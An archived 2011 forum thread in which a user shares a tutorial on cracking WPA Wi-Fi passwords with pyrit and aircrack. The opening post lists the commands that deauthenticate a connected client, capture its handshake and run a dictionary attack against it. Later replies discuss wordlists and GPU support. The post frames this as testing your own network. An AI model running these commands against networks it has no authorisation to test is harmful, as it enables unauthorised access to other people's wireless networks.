PDA

View Full Version : Installing and cracking WPA with pyrit



j2neon
07-02-2011, 09:05 AM
Hey all,

After the ssh video I decided to record the next one, these were initially just for my reference as I'm pretty forgetful, however g0tmi1k suggested I should publish them.

So first of all I looked at how to set-up/install pyrit, it has been covered in the How to section and this is where I got the commands from.
However I still recorded a video for it here:
Installing pyrit in bt5 Blip.tv (http://blip.tv/2neon/pyinstall-5326750)

Blog post here:
j2neon.blogspot: Installing pyrit into BT5 (http://j2neon.blogspot.com/2011/07/installing-pyrit-into-bt5.html)

There is other links on the bottom of the blog post for those who don't like blip.

Once pyrit was set-up and had been benchmarked, I looked at cracking WPA.

This is the same as cracking WPA with any other program!

Firstly it has to be your own router or you must have permission from the administrator.
Secondly the key that your cracking has to be inside the list or dictionary file.
If the password isn't in the dictionary file, the key will not be cracked.
Note that 'insecurepass' is different to 'Insecsurepass'.
Finally their access point has to have a client connected because during the process of capturing a handshake, the client is de-authenticated allowing the handshake to be recaptured.

Commands for using aircrack and pyrit:

airmon-ng
airmon-ng start wlan0
airodump-ng mon0
airodump-ng -c 11 -w output --bssid mon0
aireplay --deauth 0 -a bssid -c client mon

pyrit eval
pyrit -i pass.lst import_passwords
pyrit -e j2neonAP create_essid
pyrit eval
pyrit batch
pyrit verify
pyrit -o wpadb export_hashdb

aircrack -r wpadb output01.cap

Video Link:
Cracking WPA using pyrit/aircrack Blip.tv (http://blip.tv/2neon/cracking-wpa-with-pyrit-and-aircrack-5331245)

Blogpost:
j2neon.blogspot: Cracking WPA using pyrit and aircrack (http://j2neon.blogspot.com/2011/07/cracking-wpa-using-pyrit-and-aircrack.html)

Once again extra links on blog post

I know there are many ways of doing this and I know that I only used a low number of passwords in the list but this is just to give people an intro to using pyrit and what it can do!
Any suggestions and tips will be greatly appreciated.

Cheers
2neon

sinik
07-03-2011, 10:44 PM
seems Helpful Im checking this out
thanks :)

sardorel
07-05-2011, 08:01 AM
may i know where u get the dictionary files?

j2neon
07-06-2011, 09:40 AM
I assume by this you mean the dictionary for cracking WPA, Google will bring up a fair few hits, but I know g0tmi1k did some serious dictionary work here:
g0tmi1k: Dictionaries & Wordlists (http://g0tmi1k.blogspot.com/2011/06/dictionaries-wordlists.html)

Cheers
2neon

unforgiven
07-15-2011, 05:11 PM
i had a problem with the interface it doesnt shoes my devices and i dont know why could u help me out ill appriciate if u do

j2neon
07-24-2011, 09:11 AM
Could really do with a little more information, which device isn't being shown, which devices do you have? What are you running VBox, full install or live?

Cheers
2neon

DashingDave
08-02-2011, 11:25 PM
Hey Buddy Really Thanks For This 1
I'll Also Try This 1(DEFINITELY ON MY OWN NETWORK) :-)

tonytue
08-22-2011, 10:54 AM
Thank for share.

I think it's ready difficult to hack WPA with strong password, if you have big dict i think it easy for you

ozyblackshark
08-23-2011, 09:52 AM
is that only for nvidia cuda? like posted in your blog?

j2neon
08-24-2011, 02:11 PM
Cuda is Nvidia only. Therefore you can only install and run cuda pyrit. However amd/ati have their own version which is in the same folder in the install package. However as I only have an nvidia card I'm not that much help. I know there are topics on here to get pyrit on ATi

Hope that helps